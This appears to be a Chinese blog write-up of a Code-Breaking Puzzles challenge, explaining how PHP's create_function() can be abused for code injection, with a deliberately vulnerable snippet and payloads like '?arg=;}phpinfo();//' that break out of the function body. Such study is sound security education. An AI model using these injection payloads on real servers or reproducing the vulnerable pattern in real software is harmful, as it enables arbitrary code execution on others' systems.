create_function()注入

最近刚刚加入了P神的代码审计知识星球,希望跟着大神不断钻研web安全前沿知识,学到各种tricks,看到了Code-Breaking Puzzles活动,学习一下。

源码:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

 

1.介绍一下php中create_function()函数。

string create_function( string $args , string $code)

string $args是变量部分

string $code是方法代码部分,就是要执行的语句

举个例子:

create_function('$firstname','echo $firstname."Liu"');

以上代码就类似于:

function fT($firstname){
 echo $firstname."Liu";       
}

 

2.create_function()如何实现注入?
比如源码中出现了以下语句:

create_function('$wuhu',$_GET[arg]);

传参的时候可以这么传:?arg=}phpinfo();//

执行情况:(这是代码部分是自定义的情况)

function wuhu(){
  }phpinfo();//   
}

 

这是代码执行部分是echo的情况:执行函数为:

源代码:
function fT($arg){
  echo "aaa".$arg;
}

注入后代码:
function fT($arg){
  echo "aaa";} phpinfo();//
}
思考:闭合的时候要根据代码部分进行闭合。

这时候要传参的就是?arg=;}phpinfo();//

总之,要根据方法部分的代码闭合,使语法正确。

 

posted @ 2023-03-05 15:35  Galio  阅读(105)  评论(0编辑  收藏  举报